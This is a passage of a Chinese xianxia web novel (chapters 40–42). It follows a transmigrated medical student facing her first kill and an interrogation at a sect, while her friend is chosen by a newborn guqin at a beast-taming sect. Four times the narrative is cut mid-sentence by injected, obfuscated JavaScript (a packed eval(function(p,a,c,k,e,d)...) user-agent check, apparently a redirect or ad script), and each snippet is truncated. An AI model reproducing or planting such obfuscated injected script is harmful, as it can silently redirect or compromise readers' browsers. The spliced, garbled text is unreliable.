关云铮一边答应一边在心里发愁,她还没用摇羽御剑过呢,待会儿这祖宗不会把她从剑上掀翻下去吧? 她还在挣扎,楚恽已经在剑上站好了,倒是也没催她,始终用一种期待和关爱混杂的眼神看着她。 好像明白为什么刚开始小悯会任由通信的灵牒在袖子里发光了……来自哥哥的过度关爱真是让人难以招架啊。 她硬着头皮御剑,缀在楚恽身后,朝着盈都峰的方向飞。 脚下的摇羽异常配合,比木剑飞行的感觉丝滑安稳一百倍。 等等,不会就是存着这样的攀比之心才这么安稳的吧? 关云铮陡然冒出这么个想法,又觉得以摇羽的性格来说,这个猜测也不是不可能。 毕竟当初是被她师父困在剑里的,还是个灵体的时候也没少戏耍她,虽然不至于故意把她摔下剑,但新仇旧恨一起报,晃她一两下的事情也不是不可能。 好在盈都峰不算多远,没过多久楚恽就回头对她说:“快到了,准备落地吧。” 关云铮点头,操控着剑往下落。 盈都峰和青镜山从外面看就有很大的不同,但要具体形容的话,似乎也没法找到一个合适的说法。 盈都峰边界很鲜明,山头的数量也不多,周围不是村落就是城镇;而青镜山完全处在荒郊,甚至还有几个山头是鸟不拉屎的荒僻之地,压根没人去过。 关云铮想起自己处在闹市中心的初中,和位于荒郊野外工业园区对面的高中,觉得还挺适合拿来形容这两个门派的。 没有说盈都峰比青镜山低一等的意思。 不过天问这是……大隐隐于市? 盈都峰山脚下的人流几乎能用“络绎不绝”来形容,楚恽带着她刚从剑上落地,就吸引了一大帮人的注意。 关云铮恐人症发作,跟在楚恽身后一言不发地加快步子,听见周围此起彼伏的“仙长”,只能扬起一个生硬的笑容,侧过身去点头示意。 喊喊楚恽也就算了,喊她仙长算怎么回事儿啊,要是他们知道她才入门一月左右,这几声仙长立刻收回去不算完,恐怕还得用“我就知道”的眼神朝她打量好几眼。 好在很快就到了盈都峰入口,路边的一处石碑浮现出几行复杂的符文,像是在确认来者身份。 楚恽站在原地等了一会儿,随即回头对关云铮道:“好了,我们走吧。” **** “楚姑娘想要什么样的乐器?”叶浔领人进了山门后问道。 楚悯跟在他身后,如实摇了摇头:“我对乐器并无了解。” 叶泯插话:“我觉得古琴比较适合楚姑娘,楚姑娘你说呢?” 叶浔头也没回地一甩手。 楚悯不明所以地看向走在她身侧的叶泯。 噗,被禁言了。 无视了快走几步到他旁边无声控诉的叶泯,叶浔继续说道:“楚姑娘此行可有其他要务在身?” 楚悯再度摇头:“并无。” 叶浔还想再说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚悯被他用这样的眼神看着,沉默了片刻还是决定安慰一下:“应当是你门中长老等人。” 叶泯皱起眉头,这半天下来看惯了他脸上的轻松神色,还是第一次看到他做出这样的表情,严肃里掺杂了一点厌恶似的,只不过一闪即逝,楚悯没能看出更多端倪。 “他们来做什么?”叶泯与楚悯隔了一个身位坐下,把灵笼放在水榭正中的石桌上,语气带着点讽刺。 灵兽派的长老……看来在门中风评很一般。 “听说我们抓到一大一小两只灵虎,准备来分一杯羹?”叶泯看了眼远处逐渐热闹起来的水榭,说话的语气不大尊师重道。 楚悯没接话,猜测这些长老估计不是为了灵虎的事而来,怕是因为她来的。 叶泯倒也不介意她不说话,坐了会儿又从暗袋里摸出一个陶埙,察觉到楚悯的目光看过来,解释道:“这个不是我们门中的乐器,是我哥哥给我做的,没有什么灵气。” “灵兽派本来也不是什么正统音修,只是前人凑巧发现山中的部分灵兽可以听懂乐声,才演变出以音御兽这一派系,又因为音修对体术的要求不太严格,所以修这一派的人越来越多。”叶泯把玩了一会儿手中的陶埙,“像我这样没有乐器又喜欢耍鞭子的,就容易变成众人口中的异端。” “异端有时候是好事。”楚悯忽然开口道。 叶泯侧脸看她,当她是在安慰自己,不太在意地摆手:“他们叫得多了,我耳朵都长茧了,听见这俩字自发装聋,楚姑娘不用安慰我。” 楚悯笑了一声:“没有完全正统的修炼方式,广受推崇的剑修也不过是因为这些年的仙盟尽数是些酸腐剑修,若是仙盟有你这样的‘异端’,想来仙门也会盛行软鞭陶埙之类的流派。” 叶泯笑起来:“你想说上行下效吗,那确实也是,不过我哥哥就不太管这些,他那笛子甚至能把人打晕。” “那你哥哥不会被叫作异端吗?”楚悯看他。 叶泯与有荣焉似的:“他们倒是想叫,但没那个本事,我哥哥可是灵兽派音修一脉至今,境界最高的音修。” 楚悯笑起来,叶泯疑惑看她。 她看向远处水榭:“异端,是随波逐流且无能之人,对清醒之人的无力指控。” “所以被称作异端,有时也不失为一件好事。” 叶泯听见这位初次见面的天问这样说道。 40.第 40 章 关云铮待在楚恽给她安排的厢房里,坐在桌边跟摇羽拌嘴。 摇羽剑身上的血迹已经被她擦洗干净了,当时一边擦一边还得被摇羽埋汰,长这么大实在是没搞过这么委屈的卫生,因此关云铮此刻的语气也不是很顺耳,说两句就得刺挠一下。 “第一次杀人,不害怕?”摇羽的语气隐约带着点关切。 关云铮看了看自己持剑的右手,坦白道:“害怕。” “......这就没了?”摇羽有点失语。 她看了眼摆在桌上的剑,调侃道:“怎么?你想听我惊慌失措还是想看我痛哭流涕?”没等摇羽炸毛,她就收起了自己语气里的调侃,变成独处时没什么表情的样子,“我从蒲先生教武器的第一天起,就开始为这件事做心理准备了。” 就像她准备学医的第一天,就做好了准备面对未来的血肉横飞。 她记得高一的时候看杂志,忘了是某者还是某林,也不知道故事是经典半真半假的编造还是完全写实,总之看到了一个救护车司机的自述经历。 车祸现场在救护车赶到的这些场景里绝对能排上惨烈的前几名,身首分离的,断胳膊断腿的,身体被扭曲得不成人样的......各种惨状不一而足。 关云铮一直觉得自己最大的一个缺点就是太有想象力了,当时读到这篇自述,得打上马赛克才能播的画面像走马灯一样在她脑海里连环播放,差点没给她吓吐了。 结果她后来学了医,还学的临床。 解剖大体老师时她没产生任何的不适,因为赶进度这件事就像是什么安神镇定的猛药,只要想到隔壁教室同样负责上肢的某些小组已经解剖到了背部,而他们还在分离手臂的肌肉、神经和血管,臂丛的每一根神经都没定位清楚,哪怕她有一点恐惧和不适的苗头,都能立刻被压制回去。 死亡很残酷,但活着更甚。 做不完意味着了解不彻底,意味着期末考出现的部位辨认可能没见过,意味着实验考挂科,意味着实验占比40%的局解也可能会挂科。 怎么样,这样一想是不是根本来不及恐惧了。 她只有在发现自己小组的大体老师眼睛没有完全闭上的那一刻感到了恐慌,因为在她低头解剖时,那道缝隙里能看见一点点大体老师的眼睛。 没有比窥见死者的眼睛更可怕的事了,因为那是对死亡的直接凝视。 或许是死后肌肉萎缩,又或许是别的原因,总之那道微小的缝隙一直存在,她还为此担心了一阵,之后进展到头面部该怎么办,她没有勇气在眼睛都没有完全闭上的死者脸上动刀。 正如祖宗如果真的会显灵,这世上大概也不会有不肖子孙了吧? 因此她得感谢21世纪的第二次灾难,新冠疫情让他们被封锁了整整两周,学生被允许自由活动时已经逼近了期末考,再无时间进行具体的实验操作。 或许也算是一种因祸得福? 当时整个大班都没有多少人来得及解剖头面部,故而最后的实验考也只到颈部的解剖结构辨认,让很多提前担心辨认十二对脑神经的人松了一口气。 可能是当时没能解剖完成的头面部让她心生侥幸,才导致了她一年后从门诊手术室里头昏眼花、恶心想吐地出来。 她只是和同学一起观看了一个甲沟炎的手术,不知道是被远超她想象的出血量冲击,还是被带教老师毫不手软的操作震慑,又或是门诊手术室的通风太差,环境太闷,总之她和另外三个同学脱下手术帽和口罩后全都犯起了恶心。 带教老师一剪子剪到指甲根部,硬生生把边缘的指甲全部拔除的画面在她脑海里久久不去,患者打了四针麻醉也痛吟不止的景象,更是让这场手术变得像是什么医学生入门第一课(残酷版),活像是真正的临床生活给他们这些身处校园乌托邦的小崽子,一次严厉的下马威。 总之整个人都不好了。 所以某种程度上来说,在大四第一学期考完最后一门期末考后穿越过来,躲开了大四第二学期和大五一整年的实习生活,也算是一种好事吧。 好吧才不是。 来这边是不用血呼哧啦地救人了,但是得杀人啊! 关云铮装不下去一点,趴到桌上叹了口气:“要不是刚杀完那邪修就被赶鸭子上架地去安抚那姑娘,又强打精神跟她聊了一路,我早就吓晕了。” 就算那是邪修,那也是活生生的人啊,老天,她穿越到这边之前连杀兔子都是静脉注射空气处死的! “你会觉得杀错人吗?”摇羽难得没怼她,语气听起来甚至挺温和。 关云铮依旧趴在桌上,这姿势虽然对腰不好,但架不住它舒服啊:“想过那么短暂的一瞬间,后来自我开解了。一来跟他同行的那两个人确实对那姑娘动手了,他没阻拦说明也不是什么好东西,这种人我一般主张物理阉割,杀了算轻的;二来他都要杀我了,我反击一下怎么了,他脆皮经不住杀,也不能怪我吧?” 一番话有理有据......才怪。 摇羽都被她说无语了,沉默半晌才说:“物理阉割?阉割就阉割,物理是什么意思?” 关云铮已经无所谓摇羽会不会觉得她不像个此世人了,耐心地跟它科普道:“就是别的地方的一种说法,物理就是你知道的那种,从根本上阉割了;还有一种叫化学阉割。” 摇羽艰难地接话:“化学阉割是没那么根本的?” 关云铮没觉得这个话题有什么难以开口的:“通过药物让它失去功能。” 摇羽理解了,但是摇羽又沉默了。 关云铮觉得好笑:“说真的,剑灵应当不分男女吧?”毕竟摇羽的声音听着也是没那么性别分明的少年音。 摇羽“嗯”了声。 关云铮更想笑了:“那你怎么表现得像是感同身受了一样,我知道有些男人确实会共情这种人,你不会也要感同身受吧,那我可得趁早把你丢回剑冢里。” 摇羽的声音终于大了些:“我感同身受那种人做什么!我是没想到你,你......”它气结半天没说出来,关云铮好心给它接上话茬:“没想到我一点也不避讳?” 摇羽没说话。 关云铮坐直身子:“对这种恶行没什么好避讳的,如果人人都避讳谈起这种事,那针对这种事的律法就永远不会落实。” 摇羽还是没说话,过了好久才说:“你不担心杀错人就好。” 关云铮感觉肚子有点饿了,琢磨着待会儿找不着楚恽的话自己该怎么解决午饭,因此语气听起来有些心不在焉:“对已经做过的事反复思考正确与否挺没意义的,思考一两次给下一次总结经验就差不多得了,总在思考不多余内耗吗?” 还没等摇羽想明白内耗是什么意思,关云铮就又说道:“再说了,杀都杀了,思考杀没杀错也没什么意思,难道杀错了会有冤魂报复?” 摇羽语塞片刻:“大概?” 关云铮站起身,伸了个懒腰:“他也有脸?要是以后真遇到这厮的冤魂索命,我就得质疑鬼差的办事能力了。” 摇羽绝望地说道:“你可真敢说啊。” 关云铮拿着剑出门了:“你也可以装作没听到。” **** 楚悯坐在水榭中颇觉无聊,只好又老毛病似的揣度起令她不解的事情来:进入灵兽派门中那时,叶浔是接到了什么人来的信呢? 他接到信就下意识转身过来,这反应显然是信与她有关,但他又很好地掩饰了自己的所有情绪,除了他离开水榭时对叶泯说的话,几乎看不出他似乎有点生气了。 为何生气? 他走时甚至让叶泯用灵犀吓唬门中长老,言行举止如此守规矩的人居然会说出这种话......这种感觉不亚于某天看见她兄长对长老张牙舞爪,光是想想就觉得他是中邪了,简直让人想哆嗦。 叶泯对长老们的态度更是毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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叶泯“嗯”了声,语气很不热络。 秦长老没跟他计较,又问道:“她可愿帮我们卜算一番?” 叶泯忍了忍没忍住,没好气:“那您去问她,我哪能给客人做主。” 秦长老也忍了忍,可能是年纪大了,忍习惯了,轻易就把方才涌上脸的那点愠色收回去了:“你可知她是谁?” 楚悯疑心这些话都是说给她听的,叶泯没刻意收着声也就罢了,秦长老听着鬼鬼祟祟,倒是从水榭边挪动几步啊,她坐在下风口的位置,什么悄悄话也被她听去了,不知在形容鬼祟些什么。 秦长老可能还是没怎么忍住,因为说完方才那句还不等叶泯开口呛他,他便自顾自接上话茬,自问自答道:“她是天问这些年来最年轻的一位修士。” 叶泯没回头看楚悯,语气依旧混不吝似的:“怎么,天问派从没收过十五以下的?” 秦长老被他气得胡子都快歪了,伸出手指隔空点了点他才说:“不是天问,是天问。” 他特意在第二个“天问”上加重了语气。 楚悯听明白了。这人不知道从哪得知她是这些年来可问天的人中年纪最小的,指望她用天赋算些寻常情况下不可窥见的东西。 无意让叶泯再因为她惹得门中长老不快,楚悯捧着灵笼起身,走到叶泯身侧:“秦长老。” 秦长老没料到她会直接走出来,愣了一下,那张看破岁月的老脸上没看出什么不自在:“楚修士。” 虽然平时她也没少被叫做楚修士,但是跟叶浔叶泯兄弟俩的楚姑娘一比,听着无端扎耳朵,像是功利的一面被毫不遮掩地端到台面上一轮,让人心生反感。 楚悯伸出手,把灵笼递给叶泯,随后抬头说道:“秦长老想让我算什么?灵兽派此番搭救,我确实该报答一番。” “不过,搭救我的是身边这位与他兄长,是不是先问过他们二人的意愿更好一些?” 41.第 41 章 秦长老愣了一下,今日接二连三被门中小辈顶撞也就算了,没想到这位天问的也这么大派头。他扯出一个笑容:“楚修士说的是,那叶泯,你的意愿呢?” 叶泯看上去很想把灵犀从灵笼里掏出来吓唬一下秦长老,一直低头端详着他早就熟悉的灵笼,闻言抬头道:“我没有这种意愿。”他呛了一句,又说,“长老,您既然知道了楚姑娘的身份,就应该也知道,问天是要付出代价的吧?” 楚悯看了叶泯一眼,叶泯没看她,捧着灵笼往水榭的纱帐上虚虚一靠:“人家虽然说了要报答,但代价太大总不好让她一个姑娘承担吧,人家还年轻,能力也强,折损太多岂不可惜,要不……您表示表示?” 秦长老……秦长老大概快气死了。 叶泯似乎还打算火上浇油一番,远处的水榭却忽然传来惊呼声,此起彼伏的,打断了此处水榭的争吵。 楚悯和叶泯一齐转头。 只见另一边的纱帐被风掀起一角,随即一阵乐声传来,楚悯下意识往那边看了一眼,水榭之外响起一阵水声,像是有人在这个小池塘里乘船似的。 发生什么了? 冥冥之中像是有什么东西在牵引,可能是天问一派求知的本能,也可能是别的原因作祟,楚悯没来得及看一眼秦长老的脸色,就转过身向那被风掀起的纱帐走去。 乍看之下,水面下似乎有一团柔和的光,细看之后,楚悯却发现那光亮分明在水面之上,并且正飞快地朝她所在的方向掠来。 那光亮看着虽无实体,但这种速度下她本应避开,远处水榭中人也正不明所以地呼喊着。 楚悯却仿佛听见有什么声音在指引着她,于是她伸出手来。 那团光亮骤然停下猛冲猛撞的势头,在距她指尖只余几寸之处急停下来,随后居然轻飘飘的落在了她的掌心。 楚悯收回手,那团光亮的光芒越来越弱,不过眨眼之间,就在她手上变换了模样。 楚悯手比眼快,本能地察觉到不妙,把另一只手也拿了出来,紧急捧住了——由那团光亮变成的一架古琴。 好险,差点拿不稳砸了。楚悯在心里舒了一口气。 叶泯却无法像她一样淡定了,凑上前来大呼小叫:“是它?!” **** 关云铮拿着摇羽还没走多远,正好碰上了来厢房找她的楚恽:“云铮。” “楚师兄。” 楚恽笑着问她:“是不是饿了?我带你去吃些东西。” 关云铮很想来一句“好耶”,但考虑到她跟楚恽还没那么熟,以后也不一定能经常见到,于是还是决定收敛一点:“好,多谢楚师兄。” 楚恽带着她往外走:“不过吃完之后可能得麻烦你帮个忙。” 关云铮抬头:“是什么?我能力有限,不一定能帮上忙。” 楚恽似乎有些惭愧:“师门规矩比较多,虽然我方才跟长老们说明了情况,但他们仍有些问题要问你。” 关云铮恍然:“这不算是帮忙,本来也是我该做的。” 楚恽看她:“你不觉得麻烦就好。不过长老们也明言,既然你来此地是想寻找武器,又帮我们解决了当地异动,问过你问题后会给你相应的酬谢。” 出乎楚恽意料的是,听完这些话后的关云铮居然摇了摇头:“楚师兄也看到了,我已经有一把趁手的配剑了。” 楚恽困惑:“那云铮来此是?” 之前刚碰到楚恽的时候还有其他人在场,关云铮也无意多说,只简单说了归墟安排这次下山的意图,但那并非她的意图。 这会儿她实话实说道:“我先前遇到过一次鬼灯楼的人,当时他们想在我身上用引魂术,”她又往真话里掺了点假话,“当时是我师兄救的我,这次我想知道,若是当真被引魂,这些魂魄最终的归处是哪里。师门给我们此行布设了传送阵法,传送之前我便在想此事,没想到会被传送到天问。楚师兄,难道天问与魂魄也有些关联?” 说完后她才意识到自己的话在有心之人听来可能有些歧义,只是楚恽听见了还好,要是旁的不知她来历的天问,听见她先提到鬼灯楼的邪修,后又把话题转向天问,估计会觉得她在血口喷人吧。 关云铮于是又找补了一句:“没有说天问有问题的意思。” 楚恽被她逗笑了:“我自然没有那样想。不过天问确乎与魂魄有些关系,毕竟魂魄关乎人的生死,而天问的终点便是有关生死的卜算。” 关云铮眨眨眼:“我还以为,天问的终点是天道的卜算。” 楚恽明白了她在说谁,脸上的神色变得更温和了一点:“天道也有生死。” 懂了,“生死”才是终极命题。 To be or not to be,莎翁诚不我欺。 两人说话间终于走到了地方,可能是天问门中已经辟谷的人占多数,此刻并没有什么人,楚恽给她端了好几样吃食放到桌上,期待地看着她。 关云铮看了眼桌上的碳水,蔬菜,碳水,肉,有种被爱屋及乌得无力承受的感觉。 楚恽已经辟谷多年,不用吃东西,坐在她对面继续说道:“正如归墟门中的不熄鼎,天问也有镇山灵器,叫溯洄。” **** 闻越一上午已经往传送阵法那里跑了好几次了,但很可惜,只过去了一个上午,一个回来的学生都没有。 连映在他第三次跑出去的时候往他手里塞了两块点心:“尝尝,太甜跟我说。” 闻越一边把点心往嘴里塞,一边头也不回地往外边跑了。 江却进门时他已经跑得只剩个决绝的背影,一贯严肃的大师兄似乎是无奈地笑了笑:“怎么又跑过去了?” 连映把另一块兔子形状的点心给他:“担心云崽,已经是第三趟了。” 江却端详了一会儿手里的兔子:“上午还没过去,应当也找不到合适的武器?” “你觉得云崽还会找武器?”连映看他一直不动口,颇觉好笑地问他,“怎么,下不了口?” 江却叹了口气:“做得这么精致,如何忍心下口。”他顿了顿,又继续说,“云铮确实已经有了一把配剑,但另找一把也不是不可能。” 连映把荷花形状的点心塞进他另一只手里,把兔子拿回来:“先不说云崽自己的想法,单论她现在的那把配剑,怕是容不下另外一把剑。” 江却对摇羽所知甚少,闻言看向连映。 连映拿了一块花样简单的点心,咬了一口:“云崽现在的配剑里有个在剑冢形成的剑灵,经常和她斗嘴。” 江却咬了口荷花酥,东西占着嘴巴一时说不了话,因此只点了点头。 “待会儿师父来了问问他,他应该能看见云崽去哪了。”连映拍案定论,又看向咽下点心的江却,眼神带着点不明显的询问。 江却“嗯”了声:“这块甜味正好。” **** “这是,新生乐器?”楚悯看向身侧的叶泯。 叶泯摇摇头,远处水榭看过来的探究视线忒烦人,他伸手把纱帐又拉上了:“它不是这一次的新生乐器,每半年我们会举办一次大典,这是上一次的。” 他有点想不明白:“它自从在月光下形成后就再也没现过身,看见过它的人都觉得是自己的幻觉……没想到它一直在。” 楚悯感觉自己捧了个烫手山芋,闻言简直转身就想把琴还给叶泯。 叶泯看出她的意图,对她摇了摇头:“方才那么多人看着它都没显形,独你伸手后现身,你给我它还是会跑的。” 楚悯只好退而求其次:“那我把它放桌上?” 叶泯也不太确定:“你试试?” 楚悯小心地把怀里的古琴放下。 无事发生,古琴还是古琴。 叶泯舒了一口气:“估计只要你没有不要它的想法,它就不会变回去。” 楚悯都被他言外之意说得有点惶恐了:“难道……” 叶泯对着她郑重点头:“它是你的乐器了。” 一句话掷地有声,整个水榭一时都静了,大家各自陷入沉默,只有放在桌上的古琴看热闹不嫌事大似的响了一声,像是在赞同叶泯的话一般。 始终站在水榭外的秦长老重重地咳了一声:“新生乐器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚悯点点头:“你方才说,它是在月光下形成的?” 叶泯也点头:“是啊。” 楚悯笑起来:“那我想好了。” 她伸手摸了摸古琴那温凉的琴身:“就叫,月下逢。” **** 关云铮顶着楚恽关爱的视线吃完了桌上所有的吃食,肚子撑得快炸了,饭晕像传说中的鹤顶红一样立竿见影,瞬间让她困倦得直想打哈欠。 楚恽看她实在太困,忍不住问:“不如我去同长老们说一声。” 关云铮掐了一下自己的眉心:“没事,现在去吧,我还想早点解决后去看看溯洄。” 毕竟听名字完全不知道是个什么东西,再加上楚恽刚才又提到,溯洄中游动的便是无处可去的魂魄,让她更好奇了。 会是什么?听上去很像是水流一类的东西,是什么样的水流呢? 魂魄又是以什么样的形式在其中“游动”呢?像动画片里一样的鱼群吗?还是看不真切明暗交杂的光点? 楚恽叹了口气:“小悯同我说过你是她在归墟结交的好友,我就总想着,如果小悯也在这,也会给你准备这么多。” 关云铮心说那倒不至于,小悯的关爱不会像你的关爱一样如山体滑坡。 但她是不会说出来的,只是乖巧地点了点头。 两人一前一后地走过一段路,来到天问门中议事的地方。 大门虚掩着,像是在等候他们到来。看守的弟子见了楚恽,推开门让他进去。 关云铮跟在他身后,垂着眼用大拇指的指尖掐着食指的关节,以此克制着自己的困意,生怕自己待会儿不小心睡着了。 议事堂光线明亮,但依旧点了几盏灯,关云铮端详了一会儿,莫名觉得这些灯是拿来传信用的,因为几乎没什么亮度。 要是信件多的时候,会不会像霍格沃兹的礼堂一样到处飞信? 只是还没等她的思绪再乱飞一会儿,跪在礼堂正中的人就吸引了她的注意力。 ——是那个鬼灯楼的邪修。 42.第 42 章 不知道审讯是还没开始还是已经进行了一段时间,关云铮没能从那个邪修的背影上看出端倪,毕竟人还跪得挺端正的,不像是经历过严刑拷打。 话说天问会严刑拷打邪修吗?不会有什么人道主义关怀吧?对这种人也可以不用太关怀的。 关云铮一边在心里嘀嘀咕咕,一边跟着楚恽往里走,感觉议事堂里肯定有什么东西能提神,她本来都快困得昏迷了,这几步走下来,愣是让她变精神了。 议事堂里的人不多,都坐在各自的位置上,见楚恽进来也没什么表情变化。 非常符合她对天问长老们的刻板印象。 虽然在座的也不怎么老就是了,最老的看着也就是凌风起的年纪。甚至没留胡子。 楚恽走到长老对面的一排位置,带着关云铮坐下。 “听楚恽说,你是归墟弟子?”主位左侧的那位长老开口问道。 关云铮在自己师门都没遇见过这么正式的场合,闻言坐也不是站也不是,只好秉持过去21世纪的习惯站起来回答道:“正是。” 那长老似乎有点惊讶,摆了摆手:“不必站着,坐着说吧。楚恽说与这邪修同谋的还有四人,你杀了其中一个?” 虽然关云铮有点恐人,但仅限于人很多很嘈杂的那种“恐”,这种严肃的场合她其实并不十分害怕。只不过她一没在修仙世界经历过这么严肃的场合,二没见识过审讯,感觉不论是谁在这种场合被提问,都会有点下意识的紧张吧。 哪怕她没罪。 她不动声色地捏着自己一片衣料玩,回答道:“嗯,当时怕他还能喘气又补了一件。” 好吧她紧张得都有点松弛过头了 !!! 一紧张就容易嘴在前面飞脑子在后面追啊啊啊啊啊啊…… 虽然补刀很重要但这都不是问题的正经回答了!! 不过离奇的是在场没有一个人表露出她此话不妥的神色,那问话的长老也没再追问这个话题,而是问道:“你出手时发生了何事?” 关云铮顿了一下,有点不知道怎么开口。 还没等她想好该怎么不失准确又不那么冷血地陈述这件事,楚恽已经先开口了:“左长老,这些可以从弟子赶到时现场的情状中推断出来,也已经在信中陈述过。” 被他称作左长老的人没生气,好像询问只是走个过场,又问道:“那你们可知这些鬼灯楼弟子绑走那些姑娘,是要做什么?” 关云铮摇头,如实相告:“我起先猜测是与他们的引魂术有关,但当时并未看到香炉,想必是别的恶行。” 当时殷含绮怎么说的来着? 他们的邪术会用到气、血和精魂? 不是引魂术,那难道是打算杀人放血?也没看到器皿啊? 哦对,还有乾坤袋。不知道后来负责善后的天问有没有搜过那些尸体的身,或许能从中发现端倪。 关云铮在这边想了一会儿,那边左长老已经不再问问题了,而是对坐在主位的人说:“师兄,可以问了。” 他话音刚落,只见那邪修跪着的地方忽然亮起来,随即一个看不懂的小型阵法在他膝盖之下飞速运转起来。 合着真的只是走个过场啊? 都决定要用“问”了还问她这么多干嘛?减轻代价?还是确定事情的必要性? 关云铮正腹诽,对面的几位长老居然起身从座位上离开了。 不是?这就走了?不再唠会儿? 虽然是她单方面唠。 左长老落在后面,还特地绕过那个跪在地上的邪修,走到关云铮这边来:“其实今日之事算不得大事,但是听闻你是小悯的朋友,怕你不看见事情了结不放心,所以把你叫来了,不用怕。” 说完左长老就摆摆手走了。 好的,对天问的刻板印象得到了一定程度的瓦解。 关云铮转头看向坐在一边的楚恽:“他们不留下看结果吗?” 楚恽示意她看向那邪修。 阵法飞速运行着,上面的符文几乎转成了延时摄影下的星空,变成了闪着光的离奇线条。 而那邪修身上,一行行陈述了罪状的“字”,正从他身体的每一处浮现出来,呈现在空中。 **** 那位姓秦的长老终于被气走了,边走边振振有词,说的无非是自己会找掌门讨个公道,惩戒不懂事的小辈之类。 楚悯旁观一切,发觉自己先前把叶浔和她兄长放在一起比较的行为其实并不准确,甚至可以说是相当有失偏颇。 因为兄长遵循的规矩长辈们也在遵循,天问中虽然有几个长老不太在意这些,认为传下来的某些规矩太僵化了,但为了表示对天问先辈们的敬意,该做的还是会做。 从小看到的、接触的都是这样以身作则的人,兄长会逐渐长成现今的模样合情合理。 但灵兽派这位秦长老喜欢用规矩压小辈,自己的言行举止却看不出守规矩的迹象。 在他眼中,境界与成就都不容小觑的叶浔,显然要比弟弟叶泯有分量得多,他能在叶泯面前颐指气使,却会在叶浔面前收敛一部分气焰。 这算什么?严于律人,宽以待己?倚老卖老,狗眼看人低? 如此看来,叶浔会表现得这般守矩,显然是为了不让有心之人抓到他的错处。然而他却没有用相同的规矩约束作为他胞弟的叶泯,哪怕二人的荣辱本属一体。 同为遵守规矩,兄长是习惯所致,叶浔却多少有些迫不得已。 不知道接下来叶泯在灵兽派的生活会不会受影响。 楚悯摇了摇头,手指在琴弦上轻轻拨了拨。 月下逢发出一串响动,她指尖也盈了一团柔光。 叶泯眼睛都亮了:“这是正式认主了!” 楚悯有些惊讶,斟酌片刻还是问道:“新生乐器认了其他门派弟子为主,会不会有失妥当?” 叶泯皱眉:“楚姑娘你不会把秦长老那套说辞听进去了吧?你听他放屁!嗷!” 楚悯还没来得及反应,叶浔已经敲了一下叶泯的脑袋:“好好说话,在姑娘家面前别这么粗俗。” 叶泯不大高兴地“哼”了声,揉了两下脑袋后说:“其实是这两年认主的新生乐器非常少,但这几年山中的灵兽又越来越亲近音修一脉,再加上……” 他像是想到什么好笑的事,没忍住笑出声来:“秦长老是传统的剑修,但剑术不怎么样,音修相关更是一窍不通,所以这两年一提到新生乐器的归属他就容易像方才那样。” 叶浔抬手叫来一壶茶,给两人各倒了一盏:“此地茶叶不比归墟,没那么精细,楚姑娘见谅。” 楚悯不甚在意地捧起茶盏,对他笑了笑:“粗陋精细,各有滋味。” 叶泯“咦”了一声:“楚姑娘不是天问的吗?” 叶浔没抬头,抬手又精准地敲了一下他的脑袋:“今年这个年纪的弟子都在归墟接受教习,忘了?还给爹了?” 叶泯带着几分心虚地为自己辩解道:“那不是,楚姑娘看着更小一些吗?” 楚悯神色没什么变化,受“问天”代价的影响,她的外在会长大、衰老,但比上同龄人会十分缓慢,可能两年过去都看不出什么大的变化。 各地仙门收纳弟子一般都在十四到十六岁之间,她出生就在天问,十岁便问天,是以外表的年纪看着甚至不到十四岁。 还好,至少不是停在了十岁那年。 不然短胳膊短腿的,连琴都抱不动。 叶浔懒得骂他,又解释道:“楚姑娘想必看见入山门时我收到了信,实不相瞒,那是叶长老——也就是家父传来的。他告知我,他收到了归墟传来的信。” 归墟传来的信? 叶浔继续说道:“家父在信中提及两件事,其一是归墟传信告知,这几日归墟派出门中接受教习的弟子下山,各自选择想去之地,有一弟子传送到了鹧鸪山,若是他已经遇到,麻烦看护一二。家父联系我先前的信,得出你是在归墟学习的天问弟子。 其二便是秦长老一事,往门中带人需得禀报掌门,彼时他恰好在场,获悉此事,存了些旁的心思,才会到你面前来,惹得人不快。” 叶泯喝了口茶,语气很不屑:“他一直想问问他的道心正确与否,这种东西跟天道联系那么紧密,也是能随便问的?指不定要付出什么代价,真是厚颜无耻。” 楚悯迟疑道:“道心正确与否?” 叶浔点头:“因为秦长老在剑修一道上,始终没有什么成就。” 楚悯有点想笑,忍住了:“这算病急乱投医吗?” 质疑剑修不适合自己,不去钻研什么适合,反而去质疑道心是否有误?那不是把自己修道的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶浔一愣,随即笑起来:“自然,我进来时也给水榭设了不受窥探的法阵,楚姑娘可自由使用术法。” 楚悯点点头,又把乾坤袋里的一块通信灵牌递给叶泯:“多谢你为我出头,在这块灵牌上灌注灵气便可直接联络到我,未来若是有帮得上忙的,尽管开口。” 她把月下逢放进乾坤袋:“多谢二位救命之恩,来日再见。” 说完她掌心燃起一团灵火,把传送符烧了个干净。 楚悯刚一落地就被扑上前的闻越吓了一跳:“小悯回来了?没事吧?顺利吗?” 江却、连映、章存舒和步雁山全都在,楚悯有点没反应过来,往身后看了看:“云崽还没回来,你们等在这……” 闻越绕着她看了一圈,确认她没什么外伤:“你还没传送过来,你那块传送阵就亮了,我们当然是在等你啊!” 楚悯愣了一下:“我……” 闻越回头看连映:“师姐你快看看她有没有受什么内伤。” 连映应了声,走上前:“走吧,小悯。” 楚悯懵懵懂懂地跟着走了。 